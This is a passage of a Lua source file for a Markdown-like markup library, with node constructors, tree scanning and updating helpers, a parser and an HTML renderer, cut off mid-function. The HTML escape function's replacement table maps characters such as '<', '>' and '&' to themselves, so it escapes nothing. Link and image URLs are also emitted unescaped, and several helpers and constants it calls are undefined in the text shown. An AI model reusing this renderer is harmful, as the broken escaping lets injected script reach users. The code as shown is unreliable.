local HTML_BLOCK_CODE_CONTENT = "~block-code-content"
local HTML_BLOCK_QUOTE = "~block-quote"
local HTML_HORIZONTAL_RULE = "~hr"
local HTML_TEXT = "~text"
local HTML_VARIABLE = "~variable"
local HTML_CODE = "~code"
local HTML_MATH = "~math"
local HTML_UNDERLINE = "~underline"
local HTML_BOLD = "~bold"
local HTML_ITALIC = "~italic"
local HTML_STRIKETHROUGH = "~strikethrough"
local HTML_IMAGE = "~image"
local HTML_LINK = "~link"
local HTML_REFERENCE = "~reference"
-- symbols
local HEADER_SYM = "#"
local LIST_SYM = "*"
local LIST_SYM2 = "-"
local RULE_SYM = "---"
local BLOCK_CODE_SYM = "```"
local BLOCK_QUOTE_SYM = ">"
local RESOURCE_SYM = "::"
local UNDERLINE_SYM = "__"
local BOLD_SYM = "*"
local ITALIC_SYM = "_"
local STRIKETHROUGH_SYM = "~~"
local VARIABLE_SYM = "$"
local CODE_SYM = "`"
local MATH_SYM = "$$"
local REFERENCE_SYM = "@"
local DATA_SYM = ":"
local LINE_COMMENT = "//"
local EMPTY = "empty"
-- utility functions
local generic_scan
local split_content_into_lines, remove_comment_lines, group_code_lines, format_lines
local make_blocks_from_empty_lines, make_blocks_from_different_syms
local create_block
local find_matches
local insert, last, map, flat_map, index_of
local remove = table.remove
local get
local pattern_escape
local indent
local url_escape_table
local blocks_to_html, block_to_html, inlines_to_html, inline_to_html
local list_elements, list_item_to_html
local format_error, block_format_error
local markup = {}
markup.scan = {}
markup.update = {}
markup.html = {}
markup.filter = {}
markup.util = {}
-- HTML class prefix
markup.html.CLASS_PREFIX = "mu"
-- inline types
markup.TEXT = "text"
markup.VARIABLE = "variable"
markup.CODE = "code"
markup.MATH = "math"
markup.UNDERLINE = "underline"
markup.BOLD = "bold"
markup.ITALIC = "italic"
markup.STRIKETHROUGH = "strikethrough"
markup.IMAGE = "image"
markup.LINK = "link"
markup.DATA = "data"
markup.REFERENCE = "reference"
-- block types
markup.PARAGRAPH = "paragraph"
markup.HEADER = "header"
markup.LIST = "list"
markup.BLOCK_CODE = "block-code"
markup.BLOCK_QUOTE = "block-quote"
markup.RESOURCE = "resource"
markup.HORIZONTAL_RULE = "horizontal-rule"
function markup.text(text)
return {
type = markup.TEXT,
content = text
}
end
function markup.variable(text)
return {
type = markup.VARIABLE,
content = text
}
end
function markup.code(text)
return {
type = markup.CODE,
content = text
}
end
function markup.math(text)
return {
type = markup.MATH,
content = text
}
end
function markup.underline(text)
if type(text) == "string" then
text = markup.parse_text(text)
end
return {
type = markup.UNDERLINE,
content = text
}
end
function markup.bold(text)
if type(text) == "string" then
text = markup.parse_text(text)
end
return {
type = markup.BOLD,
content = text
}
end
function markup.italic(text)
if type(text) == "string" then
text = markup.parse_text(text)
end
return {
type = markup.ITALIC,
content = text
}
end
function markup.strikethrough(text)
if type(text) == "string" then
text = markup.parse_text(text)
end
return {
type = markup.STRIKETHROUGH,
content = text
}
end
function markup.image(alt_text, source)
return {
type = markup.IMAGE,
alt_text = alt_text,
source = source
}
end
function markup.link(text, url)
if type(text) == "string" then
text = markup.parse_text(text)
end
return {
type = markup.LINK,
content = text,
url = url
}
end
function markup.data(data_type, data)
return {
type = markup.DATA,
data_type = data_type,
data = data
}
end
function markup.reference(text, reference)
if type(text) == "string" then
text = markup.parse_text(text)
end
if not reference then
reference = table.concat(map(get("content"), markup.scan.find_all(markup.scan.text, text, markup.filter.has_text)))
end
return {
type = markup.REFERENCE,
content = text,
reference = reference
}
end
function markup.paragraph(text)
if type(text) == "string" then
text = markup.parse_text(text)
end
return {
type = markup.PARAGRAPH,
content = text
}
end
function markup.header(text, size)
if type(text) == "string" then
text = markup.parse_text(text)
end
return {
type = markup.HEADER,
content = text,
size = size or 1
}
end
function markup.list(items)
for i = 1, #items do
if type(items[i]) == "string" then
items[i] = { content = markup.parse_text(items[i]), level = 1 }
end
end
return {
type = markup.LIST,
items = items
}
end
function markup.code_block(code, language)
return {
type = markup.BLOCK_CODE,
language = language,
content = code
}
end
function markup.block_quote(content)
if type(content) == "string" then
content = markup.parse(content)
end
return {
type = markup.BLOCK_QUOTE,
content = content
}
end
function markup.resource(resource_type, data)
return {
type = markup.RESOURCE,
resource_type = resource_type,
data = data
}
end
function markup.rule()
return { type = markup.HORIZONTAL_RULE }
end
function markup.is_node(item)
return type(item) == "table" and (markup.is_inline(item) or markup.is_block(item))
end
function markup.is_inline(item)
return item.type == markup.TEXT
or item.type == markup.VARIABLE
or item.type == markup.CODE
or item.type == markup.MATH
or item.type == markup.UNDERLINE
or item.type == markup.BOLD
or item.type == markup.ITALIC
or item.type == markup.STRIKETHROUGH
or item.type == markup.IMAGE
or item.type == markup.LINK
or item.type == markup.DATA
or item.type == markup.REFERENCE
end
function markup.is_block(item)
return item.type == markup.PARAGRAPH
or item.type == markup.HEADER
or item.type == markup.LIST
or item.type == markup.BLOCK_CODE
or item.type == markup.BLOCK_QUOTE
or item.type == markup.RESOURCE
or item.type == markup.HORIZONTAL_RULE
end
function markup.tostring(item)
if type(item) == "string" then
return item
end
if item.type then
if item.type == markup.PARAGRAPH then
return markup.tostring(item.content)
elseif item.type == markup.HEADER then
return ("#"):rep(item.size) .. " " .. markup.tostring(item.content)
elseif item.type == markup.LIST then
local s = {}
for i = 1, #item.items do
s[i] = ("\t"):rep(item.items[i].level) .."* " .. markup.tostring(item.items[i].content)
end
return table.concat(s, "\n")
elseif item.type == markup.BLOCK_CODE then
return "```" .. (item.language or "") .. "\n" .. item.content .. "\n```"
elseif item.type == markup.BLOCK_QUOTE then
return "> " .. markup.tostring(item.content):gsub("\n", "\n> ")
elseif item.type == markup.RESOURCE then
return "@" .. item.resource
elseif item.type == markup.HORIZONTAL_RULE then
return "---"
elseif item.type == markup.TEXT then
return item.content
elseif item.type == markup.VARIABLE then
return "$`" .. item.content .. "`"
elseif item.type == markup.CODE then
return "`" .. item.content .. "`"
elseif item.type == markup.UNDERLINE then
return "__" .. markup.tostring(item.content) .. "__"
elseif item.type == markup.BOLD then
return "*" .. markup.tostring(item.content) .. "*"
elseif item.type == markup.ITALIC then
return "_" .. markup.tostring(item.content) .. "_"
elseif item.type == markup.STRIKETHROUGH then
return "~~" .. markup.tostring(item.content) .. "~~"
elseif item.type == markup.IMAGE then
return ""
elseif item.type == markup.LINK then
return "[" .. markup.tostring(item.content) .. "](" .. item.url .. ")"
elseif item.type == markup.DATA then
return "{:" .. item.data_type .. " " .. item.data .. "}"
elseif item.type == markup.REFERENCE then
return "@{" .. markup.tostring(item.content) .. " :: " .. item.reference .. "}"
else
return "<invalid markup object>"
end
end
if #item == 0 then
return ""
end
local ss = {}
for i = 1, #item do
ss[i] = markup.tostring(item[i])
end
return table.concat(ss, markup.is_block(item[1]) and "\n\n" or "")
end
function markup.scan.document(document, f, options)
options = options or {}
options.deep_scan = options.deep_scan == nil or options.deep_scan
generic_scan(f, options, function(t)
for i = 1, #document do
t[i] = document[i]
end
end, function(block)
if block.type == markup.BLOCK_QUOTE then
return block.content
else
return {}
end
end)
end
function markup.scan.text(document, f, options)
options = options or {}
options.deep_scan = options.deep_scan == nil or options.deep_scan
if document[1] and markup.is_inline(document[1]) then
document = {{ type = markup.PARAGRAPH, content = document }}
end
return markup.scan.document(document, function(block)
local populate = function(t) end
if block.type == markup.PARAGRAPH or block.type == markup.HEADER then
populate = function(t)
for i = 1, #block.content do
t[i] = block.content[i]
end
end
elseif block.type == markup.LIST then
populate = function(t)
for i = 1, #block.items do
for j = 1, #block.items[i].content do
t[#t + 1] = block.items[i].content[j]
end
end
end
end
return generic_scan(f, options, populate, function(inline)
if inline.type == markup.UNDERLINE
or inline.type == markup.BOLD
or inline.type == markup.ITALIC
or inline.type == markup.STRIKETHROUGH
or inline.type == markup.LINK
or inline.type == markup.REFERENCE
then
return inline.content
else
return {}
end
end)
end, {
filter = options.block_filter,
deep_scan = true
})
end
function markup.scan.find_first(f, document, matching, deep_scan)
local result
if f ~= markup.scan.document and f ~= markup.scan.text then
return error("invalid first parameter: must be either markup.scan.document or markup.scan.text")
end
f(document, function(item)
result = item
return true
end, {
filter = matching,
no_filter_stop = false,
deep_scan = deep_scan
})
return result
end
function markup.scan.find_all(f, document, matching, deep_scan)
local results = {}
if f ~= markup.scan.document and f ~= markup.scan.text then
return error("invalid first parameter: must be either markup.scan.document or markup.scan.text")
end
f(document, function(item)
results[#results + 1] = item
end, {
filter = matching,
no_filter_stop = false,
deep_scan = deep_scan
})
return results
end
-- filter
-- deep_update
-- no_filter_stop
-- include_unfiltered
function markup.update.document(document, f, options)
options = options or {}
options.deep_update = options.deep_update == nil or options.deep_update
return generic_update(f, options, document, function(node)
return node.type == markup.BLOCK_QUOTE and node.content or {}
end, function(node, children)
-- this must be a block quote
return {
type = node.type,
content = children
}
end)
end
function markup.update.text(document, f, options)
options = options or {}
options.deep_scan = options.deep_scan == nil or options.deep_scan
local changed = false
if document[1] and markup.is_inline(document[1]) then
local res, changed = markup.update.text(document, {markup.paragraph(document)}, options)
return res[1].content, changed
end
local function children_of(inline)
if inline.type == markup.UNDERLINE
or inline.type == markup.BOLD
or inline.type == markup.ITALIC
or inline.type == markup.STRIKETHROUGH
or inline.type == markup.LINK
or inline.type == markup.REFERENCE
then
return inline.content
else
return {}
end
end
local function set_children(inline, children)
local new = {}
for k, v in pairs(inline) do
new[k] = v
end
new.content = children
return new
end
return markup.update.document(document, function(block)
if block.type == markup.PARAGRAPH or block.type == markup.HEADER then
local new_children, changed = generic_update(f, options, block.content, children_of, set_children)
return {changed and {
type = block.type,
content = new_children,
size = block.size -- for headers
} or block}
elseif block.type == markup.LIST then
local new_items = {}
local sub_changed = true
for i = 1, #block.items do
new_items[#new_items + 1], sub_changed = generic_update(f, options, block.items[i].content, children_of, set_children)
changed = changed or sub_changed
end
return {changed and {
type = markup.LIST,
items = new_items
} or block}
end
end, {
filter = options.block_filter,
include_unfiltered = options.block_include_unfiltered,
deep_update = true
})
end
function markup.update.insert_after(f, document, filter, insertion, many, deep_update)
local changed = false
if f ~= markup.update.document and f ~= markup.update.text then
return error("invalid first parameter: must be either markup.update.document or markup.update.text")
end
return markup.update.document(document, function(node)
changed = not many
return {node, insertion}
end, {
filter = function(...)
return not changed and filter(...)
end,
include_unfiltered = true,
deep_update = deep_update
})
end
function markup.update.insert_before(f, document, filter, insertion, many, deep_update)
local changed = false
if f ~= markup.update.document and f ~= markup.update.text then
return error("invalid first parameter: must be either markup.update.document or markup.update.text")
end
return markup.update.document(document, function(node)
changed = not many
return {insertion, node}
end, {
filter = function(...)
return not changed and filter(...)
end,
include_unfiltered = true,
deep_update = deep_update
})
end
-- this works, seriously, it doesn't look like it should but it does and I love it
-- filtering the nodes to _remove_, you say? yep, note `include_unfiltered` and the `{}` return value
-- am I mad? maybe. do I write cool code? fuck yeah
function markup.update.remove(f, document, filter, many, deep_update)
local changed = false
if f ~= markup.update.document and f ~= markup.update.text then
return error("invalid first parameter: must be either markup.update.document or markup.update.text")
end
return f(document, function(node)
changed = not many
return {}
end, {
filter = function(...)
return not changed and filter(...)
end,
include_unfiltered = true,
deep_update = deep_update
})
end
function markup.update.remove_after(f, document, filter, deep_update)
local include = true
if f ~= markup.update.document and f ~= markup.update.text then
return error("invalid first parameter: must be either markup.update.document or markup.update.text")
end
return f(document, function(node)
include = include and not filter(node)
return nil
end, {
filter = function(...)
return include
end,
no_filter_stop = true,
include_unfiltered = false,
deep_update = deep_update
})
end
function markup.update.remove_before(f, document, filter, deep_update)
local include = false
if f ~= markup.update.document and f ~= markup.update.text then
return error("invalid first parameter: must be either markup.update.document or markup.update.text")
end
return f(document, function(node)
return nil
end, {
filter = function(...)
include = include or filter(...)
return include
end,
include_unfiltered = false,
deep_update = deep_update
})
end
function markup.update.replace(f, document, filter, map, many, deep_update)
local changed = false
if f ~= markup.update.document and f ~= markup.update.text then
return error("invalid first parameter: must be either markup.update.document or markup.update.text")
end
return f(document, function(node)
changed = not many
return type(map) == "table" and map or map(node)
end, {
filter = function(...)
return not changed and filter(...)
end,
include_unfiltered = true,
deep_update = deep_update
})
end
function markup.html.render(document, options)
options = options or {}
options = {
highlighters = options.highlighters or {},
loaders = options.loaders or {},
reference_link = options.reference_link
}
if type(document) == "string" then
document = markup.parse(document)
end
return "\n<div class=\"" .. markup.html.class(HTML_CONTENT) .. "\">\n"
.. blocks_to_html(document, options)
.. "\n</div>"
end
function markup.html.headerID(headerNode)
return table.concat(map(get("content"), markup.scan.find_all(
markup.scan.text,
headerNode.content,
markup.filter.has_text
))):gsub("<.->", "")
:gsub("^%s+", "")
:gsub("%s+$", "")
:gsub("(%s)%s+", "%1")
:gsub("[^%w%-%:%.%_%s]", "")
:gsub("[^%w_]", "-")
:lower()
end
function markup.html.class(...)
return table.concat(map(function(item) return item:gsub("~", markup.html.CLASS_PREFIX .. "-") end, {...}), " ")
end
function markup.filter.new(f)
return setmetatable({test = f}, {
__call = function(self, ...)
return self.test(...)
end,
__mul = function(self, other)
return markup.filter.new(function(...)
return self(...) and other(...)
end)
end,
__sub = function(self, other)
return markup.filter.new(function(...)
return self(...) and not other(...)
end)
end,
__div = function(self, other)
return markup.filter.new(function(...)
return self(...) or other(...)
end)
end,
__unm = function(self)
return markup.filter.new(function(...)
return not self(...)
end)
end
})
end
function markup.filter.equals(object)
return markup.filter.new(function(item)
return item == object
end)
end
function markup.filter.type(type)
return markup.filter.new(function(item)
return item.type == type
end)
end
function markup.filter.property_equals(property, value)
return markup.filter.new(function(item)
return item[property] == value
end)
end
function markup.filter.property_contains(property, value)
return markup.filter.new(function(item)
return tostring(item[property]):find(value)
end)
end
function markup.filter.property_matches(property, predicate)
return markup.filter.new(function(item)
return predicate(item[property])
end)
end
function markup.filter.has_data_type(data_type)
return markup.filter.type(markup.DATA)
* markup.filter.property_equals("data_type", data_type)
end
markup.filter.inline
= markup.filter.new(markup.is_inline)
markup.filter.block
= markup.filter.new(markup.is_block)
markup.filter.has_text
= markup.filter.type(markup.TEXT)
/ markup.filter.type(markup.VARIABLE)
/ markup.filter.type(markup.CODE)
function markup.util.html_escape(text)
return text:gsub("[&/<>\"]", {
["&"] = "&",
["/"] = "/",
["<"] = "<",
[">"] = ">",
["\""] = """
})
end
function markup.util.url_escape(text)
return text:gsub("[^a-zA-Z0-9_\\]", url_escape_table)
end
function markup.parse(content)
local lines = format_lines(remove_comment_lines(group_code_lines(split_content_into_lines(content))))
local blocks = flat_map(make_blocks_from_different_syms, make_blocks_from_empty_lines(lines))
return map(create_block, blocks)
end
function markup.parse_text(text)
local result = {}
local value_stack = {result}
local create_stack = {false}
local modifiers = {}
local i = 1
local function push(value)
if value.type == markup.TEXT and last(last(value_stack)) and last(last(value_stack)).type == markup.TEXT then
last(last(value_stack)).content = last(last(value_stack)).content .. value.content
else
insert(last(value_stack), value)
end
end
local function pop()
push(remove(create_stack)(remove(value_stack)))
remove(modifiers)
end
local function mod(sym, create)
local idx = index_of(sym, modifiers)
if idx then
for i = idx, #value_stack - 1 do
pop()
end
else
insert(modifiers, sym)
insert(create_stack, create)
insert(value_stack, {})
end
end
while i <= #text do
local b, s, f, r = find_matches(text, i, {
"%[[^%[%]]+%]%([^%(%)]+%)", -- link
"!%[[^%[%]]*%]%([^%(%)]+%)", -- image
"%[%[[^%[%]]+%]%]", -- relative link
"%s" .. pattern_escape(REFERENCE_SYM) .. "{[^{}]+}", -- reference 1
"%s" .. pattern_escape(REFERENCE_SYM) .. "%S+", -- reference 2
pattern_escape(MATH_SYM) .. "[^" .. pattern_escape(MATH_SYM) .. "]+" .. pattern_escape(MATH_SYM), -- math
pattern_escape(VARIABLE_SYM) .. "`[^`]+`", -- variable
{pattern_escape(CODE_SYM) .. "+"}, -- code
pattern_escape(UNDERLINE_SYM), -- underline
pattern_escape(BOLD_SYM), -- bold
pattern_escape(ITALIC_SYM), -- italic
pattern_escape(STRIKETHROUGH_SYM), -- strikethrough
"{" .. pattern_escape(DATA_SYM) .. ".-}" -- data
})
if s then
-- switch based on `b` (the branch e.g. which of the above patterns was matched)
if b == 1 then
push(markup.link(
r:match "^%[(.-)%]",
r:match "^%[.-%]%((.+)%)"
))
elseif b == 2 then
push(markup.image(
r:match "^!%[(.-)%]",
r:match "^!%[.-%]%((.+)%)"
))
elseif b == 3 then
local p = markup.parse_text(r:sub(3, -3))
push(markup.link(p, table.concat(map(get("content"), markup.scan.find_all_text(p, markup.filter.has_text)))))
elseif b == 4 then
push(markup.reference(r:sub(#REFERENCE_SYM + 2, -2)))
elseif b == 5 then
push(markup.reference(r:sub(#REFERENCE_SYM + 1)))
elseif b == 6 then
push(markup.math(r:sub(#MATH_SYM + 1, -#MATH_SYM - 1)))
elseif b == 7 then
push(markup.variable(r:sub(#VARIABLE_SYM + 2, -2)))
elseif b == 8 then
local l = #r:match(pattern_escape(CODE_SYM) .. "+")
push(markup.code(r:sub(l + 1, -l - 1)))
elseif b == 9 then
mod(UNDERLINE_SYM, markup.underline)
elseif b == 10 then
mod(BOLD_SYM, markup.bold)
elseif b == 11 then
mod(ITALIC_SYM, markup.italic)
elseif b == 12 then
mod(STRIKETHROUGH_SYM, markup.strikethrough)
elseif b == 13 then
local s = r:sub(#DATA_SYM + 2, -2)
local dt = s:match "^[%w+_%-]+" or ""
push(markup.data(dt, s:sub(#dt + 1):gsub("^%s*", "")))
end
i = f + 1
else
local segment = text:match("^[^"
.. "%[%]{}%(%)!`\\%s"
.. pattern_escape(REFERENCE_SYM)
.. pattern_escape(REFERENCE_SYM)
.. pattern_escape(MATH_SYM)
.. pattern_escape(VARIABLE_SYM)
.. pattern_escape(CODE_SYM)
.. pattern_escape(UNDERLINE_SYM)
.. pattern_escape(BOLD_SYM)
.. pattern_escape(ITALIC_SYM)
.. pattern_escape(STRIKETHROUGH_SYM)
.. pattern_escape(DATA_SYM)
.. "]+", i)
or text:match("^\\.", i)
or text:sub(i, i)
push(markup.text(segment:gsub("^\\", "")))
i = i + #segment
end
end
while #value_stack > 1 do
pop()
end
return result
end
function generic_scan(f, options, populate, children_of)
local toScan = {}
local i = 1
populate(toScan)
while i <= #toScan do
local elem = toScan[i]
if not options.filter or options.filter(elem) then
if f(elem) then
return true
end
elseif options.no_filter_stop then
return true
end
if options.deep_scan then
local children = children_of(elem)
for j = 1, #children do
table.insert(toScan, i + j, children[j])
end
end
i = i + 1
end
end
-- filter
-- deep_update
-- no_filter_stop
-- include_unfiltered
function generic_update(f, options, children, children_of, set_children)
local result = {}
local changed = false
local children_changed = false
for i = 1, #children do
local elem = children[i]
local filtered = not options.filter or options.filter(elem)
if filtered then
local upd = f(elem)
if upd and (#upd ~= 1 or upd[1] ~= elem) then
for j = 1, #upd do
result[#result + 1] = upd[j]
end
changed = true
else
result[#result + 1] = elem
end
elseif options.include_unfiltered then
result[#result + 1] = elem
else
changed = true
end
if not filtered and options.no_filter_stop then
return result, changed or i ~= #children
end
end
if options.deep_update then
for i = 1, #result do
local elem = result[i]
local sub_children = children_of(elem)
local upd_sub_children, sub_changed = generic_update(f, options, sub_children, children_of, set_children)
if sub_changed then
result[i] = set_children(elem, sub_children)
children_changed = true
end
end
if children_changed then
return generic_update(f, options, result, children_of, set_children)
end
end
return result, changed
end
-- splits a string into a list of its lines
function split_content_into_lines(text)
local lines = {}
local p = 1
local s, f = text:find("\r?\n")
while s do
insert(lines, text:sub(p, s - 1))
p = f + 1
s, f = text:find("\r?\n", p)
end
insert(lines, text:sub(p))
return lines
end
-- groups lines between multi-line code tags into a single line
function group_code_lines(lines)
local result = {}
local inCode = false
for i = 1, #lines do
if inCode then
if lines[i]:find("^%s*" .. ("`"):rep(inCode) .. "%s*$") then
inCode = false
else
insert(result, remove(result) .. "\n" .. lines[i])
end
else
if lines[i]:find "^%s*```+[%w_%-]*%s*$" then
inCode = #lines[i]:match "^%s*(```+)[%w_%-]*%s*$"
end
insert(result, (lines[i]:gsub("%s+$", "")))
end
end
return result
end
-- removes lines containing only a comment
function remove_comment_lines(lines)
local result = {}
for i = 1, #lines do
if lines[i]:find("^%s*" .. pattern_escape(LINE_COMMENT)) then
result[i] = ""
else
result[i] = lines[i]
end
end
return result
end
-- turns a list of lines into a structure with { indentation, sym, content }
-- `sym` is the beginning symbolic operator (e.g. '#' for a header)
function format_lines(lines)
local output = {}
for i = 1, #lines do
local s, r = lines[i]:match("^(%s*)(.*)")
local indentation = select(2, s:gsub(" ", "\t"):gsub("\t", ""))
local result = { indentation = indentation, sym = "", content = r }
if r:sub(1, #RULE_SYM) == RULE_SYM then
result.sym = RULE_SYM
result.content = ""
elseif r:sub(1, #BLOCK_CODE_SYM) == BLOCK_CODE_SYM then
result.sym = BLOCK_CODE_SYM
result.content = r:sub(#BLOCK_CODE_SYM + 1)
elseif r:sub(1, #LIST_SYM + 1) == LIST_SYM .. " " then
result.sym = LIST_SYM
result.content = r:sub(#LIST_SYM + 1):gsub("^%s+", "")
elseif r:sub(1, #LIST_SYM2 + 1) == LIST_SYM2 .. " " then
result.sym = LIST_SYM
result.content = r:sub(#LIST_SYM2 + 1):gsub("^%s+", "")
elseif r:sub(1, #BLOCK_QUOTE_SYM + 1) == BLOCK_QUOTE_SYM .. " " then
result.sym = BLOCK_QUOTE_SYM
result.content = r:sub(#BLOCK_QUOTE_SYM + 2)
elseif r:find("^" .. pattern_escape(HEADER_SYM) .. "+%s") then
result.sym = HEADER_SYM
result.size = #r:match("^" .. pattern_escape(HEADER_SYM) .. "+")
result.content = r:match("^" .. pattern_escape(HEADER_SYM) .. "+%s+(.+)")
elseif r:sub(1, #RESOURCE_SYM) == RESOURCE_SYM then
result.sym = RESOURCE_SYM
result.content = r:sub(#RESOURCE_SYM + 1)
elseif not r:find("%S") then
result.sym = EMPTY
result.content = ""
end
output[i] = result
end
return output
end
-- makes groups of lines, delimited by EMPTY lines (not included in return)
function make_blocks_from_empty_lines(lines)
local i = 1
local blocks = {{}}
while i <= #lines and lines[i].sym == EMPTY do
i = i + 1
end
while i <= #lines do
if lines[i].sym == EMPTY then
if #last(blocks) > 0 then
insert(blocks, {})
end
else
insert(last(blocks), lines[i])
end
i = i + 1
end
if #last(blocks) == 0 then
remove(blocks)
end
return blocks
end
-- splits a group of lines into more groups of lines, subject to the following rules
-- each group may only have one line type
-- only one line may exist in a group if its type is one of {HEADER_SYM, BLOCK_CODE_SYM, RULE_SYM, RESOURCE_SYM}
function make_blocks_from_different_syms(lines)
if #lines == 0 then
return {}
end
local blocks = {{lines[1]}}
local lastLineSym = lines[1].sym
for i = 2, #lines do
if lastLineSym ~= lines[i].sym -- different block types can't be in the same block
or lastLineSym == HEADER_SYM -- multiple headers can't be in the same block
or lastLineSym == BLOCK_CODE_SYM -- multiple code blocks can't be in the same block
or lastLineSym == RULE_SYM -- multiple horizontal rules can't be in the same block
or lastLineSym == RESOURCE_SYM then -- multiple resources can't be in the same block
insert(blocks, {})
end
insert(last(blocks), lines[i])
lastLineSym = lines[i].sym
end
return blocks
end
-- creates a markup block from a group of lines
function create_block(lines)
local blockSym = lines[1].sym
if blockSym == "" then
return markup.paragraph(table.concat(map(get("content"), lines), "\n"))
elseif blockSym == HEADER_SYM then
return markup.header(lines[1].content, math.max(1, math.min(6, lines[1].size)))
elseif blockSym == LIST_SYM then
return markup.list(map(function(line)
return {
content = markup.parse_text(line.content),
level = line.indentation
}
end, lines))
elseif blockSym == BLOCK_CODE_SYM then
return markup.code_block(
lines[1].content:match("\n(.*)$") or "",
lines[1].content:match("^([^\n]+)\n")
)
elseif blockSym == BLOCK_QUOTE_SYM then
return markup.block_quote(table.concat(map(get("content"), lines), "\n"))
elseif blockSym == RESOURCE_SYM then
return markup.resource(
lines[1].content:match "^%S*",
lines[1].content:match "^%S*%s(.*)"
)
elseif blockSym == RULE_SYM then
return markup.rule()
else
return error("internal markup parse error: unknown block sym (" .. blockSym .. ")", 0)
end
end
-- finds a match of one of many patterns against a string
-- each pattern may be a table containing one item, indicating that match is an open/close tag
function find_matches(text, pos, patterns)
for i = 1, #patterns do
local pat = type(patterns[i]) == "table" and patterns[i][1] or patterns[i]
local s, f = text:find("^" .. pat, pos)
if s then
local r = text:sub(s, f)
if type(patterns[i]) == "table" then
local s2, f2 = text:find(r, f + 1)
if s2 then
return i, s, f2, text:sub(s, f2)
end
else
return i, s, f, r
end
end
end
end
-- inserts items into a table
function insert(table, item, ...)
if item then
table[#table + 1] = item
return insert(table, ...)
end
end
function last(list)
return list[#list]
end
function map(f, list)
local result = {}
for i = 1, #list do
result[i] = f(list[i])
end
return result
end
function flat_map(f, list)
local result = {}
for i = 1, #list do
local r = f(list[i])
for j = 1, #r do
insert(result, r[j])
end
end
return result
end
function index_of(item, list)
for i = 1, #list do
if list[i] == item then
return i
end
end
return nil
end
function get(index)
return function(object)
return object[index]
end
end
function pattern_escape(pat)
return pat:gsub("[%-%+%*%?%.%(%)%[%]%$%^]", "%%%1")
end
function indent(text, count)
return ("\t"):rep(count or 1) .. text:gsub("\n", "\n" .. ("\t"):rep(count or 1))
end
function blocks_to_html(blocks, options)
return table.concat(markup.util.map(function(block) return block_to_html(block, options) end, blocks), "\n\n")
end
function block_to_html(block, options)
if block.type == markup.PARAGRAPH then
if #block.content == 1 and block.content[1].type == markup.MATH then
-- math paragraphs are rendered larger than their inline equivalent
return "<img class=\"" .. markup.html.class(HTML_MATH, HTML_BLOCK) .. "\" "
.. "alt=\"" .. markup.util.html_escape(block.content[1].content) .. "\" "
.. "src=\"" .. HTML_MATH_URL .. "%5CLarge%20" .. markup.util.url_escape(block.content[1].content)
.. "\">"
else
return "<p class=\"" .. markup.html.class(HTML_PARAGRAPH, HTML_BLOCK) .. "\">\n"
.. markup.util.indent(inlines_to_html(block.content, options):gsub("\n", "<br>"))
.. "\n</p>"
end
elseif block.type == markup.HEADER then
local content = inlines_to_html(block.content, options)
local id = markup.html.headerID(block)
return "<h" .. block.size .. " id=\"" .. id .. "\" "
.. "class=\"" .. markup.html.class(HTML_HEADER, HTML_HEADER .. block.size, HTML_BLOCK) .. "\">\n"
.. markup.util.indent(content)
.. "\n</h" .. block.size .. ">"
elseif block.type == markup.LIST then
return "<ul class=\"" .. markup.html.class(HTML_LIST, HTML_BLOCK) .. "\">\n"
.. markup.util.indent(list_elements(block.items, options))
.. "\n</ul>"
elseif block.type == markup.BLOCK_CODE then
local lang = block.language and block.language:lower():gsub("%s", "")
local highlighted
if options.highlighters[lang] then
highlighted = tostring(options.highlighters[lang](block.content))
else
highlighted = "<pre class=\"" .. markup.html.class(HTML_BLOCK_CODE_CONTENT) .. "\">\n"
.. markup.util.html_escape(block.content)
.. "\n</pre>"
end
return "<div"
.. (lang and " data-language=" .. lang or "")
.. " class=\"" .. markup.html.class(HTML_BLOCK_CODE, HTML_BLOCK) .. "\">"
.. highlighted
.. "</div>"
elseif block.type == markup.BLOCK_QUOTE then
return "<blockquote class=\"" .. markup.html.class(HTML_BLOCK_QUOTE, HTML_BLOCK) .. "\">\n"
.. blocks_to_html(block.content, options)
.. "\n</blockquote>"
elseif block.type == markup.RESOURCE then
if options.loaders[block.resource_type] then
return "<div class=\"" .. markup.html.class(HTML_BLOCK) .. "\">"
.. tostring(options.loaders[block.resource_type](block.data))
.. "</div>"
else
return block_format_error("no resource loader for '" .. block.resource_type .. "' :(")
end
elseif block.type == markup.HORIZONTAL_RULE then
return "<hr class=\"" .. markup.html.class(HTML_HORIZONTAL_RULE, HTML_BLOCK) .. "\">"
else
return error("internal markup error: unknown block type (" .. tostring(block.type) .. ")")
end
end
function inlines_to_html(inlines, options)
return table.concat(markup.util.map(function(inline) return inline_to_html(inline, options) end, inlines))
end
function inline_to_html(inline, options)
if inline.type == markup.TEXT then
return "<span class=\"" .. markup.html.class(HTML_TEXT) .. "\">"
.. markup.util.html_escape(inline.content)
.. "</span>"
elseif inline.type == markup.VARIABLE then
return "<span class=\"" .. markup.html.class(HTML_VARIABLE) .. "\">"
.. markup.util.html_escape(inline.content)
.. "</span>"
elseif inline.type == markup.CODE then
return "<code class=\"" .. markup.html.class(HTML_CODE) .. "\">"
.. markup.util.html_escape(inline.content)
.. "</code>"
elseif inline.type == markup.MATH then
return "<img class=\"" .. markup.html.class(HTML_MATH) .. "\" "
.. "alt=\"" .. markup.util.html_escape(inline.content) .. "\" "
.. "src=\"" .. HTML_MATH_URL .. markup.util.url_escape(inline.content) .. "\">"
elseif inline.type == markup.UNDERLINE then
return "<u class=\"" .. markup.html.class(HTML_UNDERLINE) .. "\">"
.. inlines_to_html(inline.content, options)
.. "</u>"
elseif inline.type == markup.BOLD then
return "<strong class=\"" .. markup.html.class(HTML_BOLD) .. "\">"
.. inlines_to_html(inline.content, options)
.. "</strong>"
elseif inline.type == markup.ITALIC then
return "<i class=\"" .. markup.html.class(HTML_ITALIC) .. "\">"
.. inlines_to_html(inline.content, options)
.. "</i>"
elseif inline.type == markup.STRIKETHROUGH then
return "<del class=\"" .. markup.html.class(HTML_STRIKETHROUGH) .. "\">"
.. inlines_to_html(inline.content, options)
.. "</del>"
elseif inline.type == markup.IMAGE then
return "<img class=\"" .. markup.html.class(HTML_IMAGE) .. "\" "
.. "alt=\"" .. markup.util.html_escape(inline.alt_text) .. "\" "
.. "src=\"" .. inline.source .. "\">"
elseif inline.type == markup.LINK then
return "<a class=\"" .. markup.html.class(HTML_LINK) .. "\" "
.. "href=\"" .. inline.url .. "\">"
.. inlines_to_html(inline.content, options)
.. "</a>"
elseif inline.type == markup.DATA then
return ""
elseif inline.type == markup.REFERENCE then
local link
if type(options.reference_link) == "function" then
link = options.reference_link(inline.reference)
elseif type(options.reference_link) == "table" then
link = options.reference_link[inline.reference]
end
if link then
return "<a class=\"" .. markup.html.class(HTML_REFERENCE) .. "\" "
